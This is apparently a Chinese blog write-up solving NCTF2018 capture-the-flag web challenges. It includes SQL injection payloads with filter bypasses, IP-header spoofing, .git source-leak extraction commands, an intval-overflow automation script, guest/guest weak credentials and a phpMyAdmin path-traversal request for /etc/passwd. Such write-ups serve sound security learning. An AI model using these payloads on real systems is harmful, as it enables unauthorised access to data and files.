CTF

NCTF2018 WriteUp

2018-12-01  本文已影响313人  Eumenides_62ac

Web

签到

打开访问http://ctfgame.acdxvfsvd.net:20002/index.php,发生301跳转,抓个包就能在cookie里看到flag。

滴!晨跑打卡


输入框查询时候url会变成http://ctfgame.acdxvfsvd.net:20001/index.php?id=12,猜测可是是sql注入。
经过测试,可以看到空格被注入了,绕过空格的%0a/**/都被过滤了,但是%a0没有过滤。构造payload:
# 爆库
?id=1%27%a0union%a0select%a01,database(),'3

得到数据库cgctf
# 爆表
id=1%27%a0union%a0select%a01,table_name,3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0'1'='1

得到表pcnumber
# 爆列
id=1%27%a0union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name='pcnumber'%a0and%a0'1'='1

得到3个列。

# 爆内容
id=1%27%a0union%a0select%a01,id,3%a0from%a0cgctf.pcnumber%a0union%a0select%a01,2,'3

但是最后没有找到flag,可能放在别的地方。
最后找到库flaaaaaaag,表f144444444g,th1s_1s_flag。最后payload:

1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1

Go Lakers

有301跳转:


post viewsource后:

得到题目源码:
<?php 
error_reporting(0); 
include 'getip.php'; 
ini_set('open_basedir','.'); 
if(isset($_POST['viewsource'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

mt_srand(mktime()+$seed); 

function de_code($value){ 
    $value = base64_decode($value); 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])-$i*2); 
    } 
    return $result; 
} 

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){ 
    header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp'); 
}else{ 
    echo 'great'; 
} 

echo file_get_contents(de_code($_GET['file_'])); 

?> 

想要绕过de_code()只需要自己编写函数绕过,绕过的函数:

function en_code($value){
    $value = base64_encode($value);
    $result = '';
    for($i=0;$i<strlen($value);$i++){
        $result .= chr(ord($value[$i])+$i*2);
    }
    return $result
}

通过编写的en_code函数把flag.php加密后传过去。
最后构造的payload为:

?file_=Zm5lbTZ6dH4=
Client-IP:127.0.0.1   // X-Forwarded-For被过滤了

全球最大交友网站

打开题目给了一个css3时钟


访问/.git/目录,提示403,可能存在.git源码泄露。

使用Githack工具:
$ python GitHack.py http://ctfgame.acdxvfsvd.net:20003/.git/

得到了README.md,里面提示Allsource files areingit tag1.0。是要去1.0版本里找源码。具体可以参考p牛的博客
使用脚本gitcommit.py,修改下target可以获得一个readme.txt文件,但是里面是假的flag:

$ python gitcommit.py

再使用scrabble工具获得.git文件:

$ ./scrabble http://ctfgame.acdxvfsvd.net:20003

通过git log查看提交历史:


有三次commit,把head去指向hint那一处:
git show HEAD 6b21737b59806722a89f33d26658b8508ac009e6

这里没有真的flag:


show上次的结果:
$ git show HEAD 01b878ee5f39810a02f06b4a560571413020ea42

得到真正的flagflag{git_is_very_good}

小绿草之最强大脑

提示源码泄露,访问http://ctfgame.acdxvfsvd.net:20004/index.php.bak得到源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
    if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
        session_destroy();
        echo '
        <script language="javascript">  
        alert("怎么没算对呢?");  
        window.history.back(-1);  </script>';
    }
    else{
        if(intval(time())-$_SESSION['time']<1){
            session_destroy();
            echo '
            <script language="javascript">  
            alert("你手速太快啦,服务器承受不住!!!");  
            window.history.back(-1); </script> ';
        }
        if(intval(time())-$_SESSION['time']>2){
            session_destroy();
            echo '
            <script language="javascript">  
            alert("你算的太慢了少年!");  
            window.history.back(-1); </script> ';
        }
        echo '
        <script language="javascript">  
        alert("tql,算对了!!");  
         </script> ';
        $_SESSION['count']++;
    }
}
?>

这里的intval函数会防止程序溢出,所以输入的大于21位的数字经过PHP处理的值会发送改变:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目是64位系统,溢出后为9223372036854775807
编写python:

import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5   #延时1.5秒
    print(r.text)

easy_audit

给了源码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}


?>

基本操作

访问看到了phpadmin:



通过弱口令能够登录:

username: guest
passowrd: guest

接着通过phpmyadmin任意文件包含漏洞读文件:

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后执行sql语句去查找flag:



去读文件,方式是`/tmp/sess_+ 你的 phpMyAdmin session 值 q1s3uhjomj3lo3891ggud8kbm4


上一篇 下一篇

猜你喜欢

热点阅读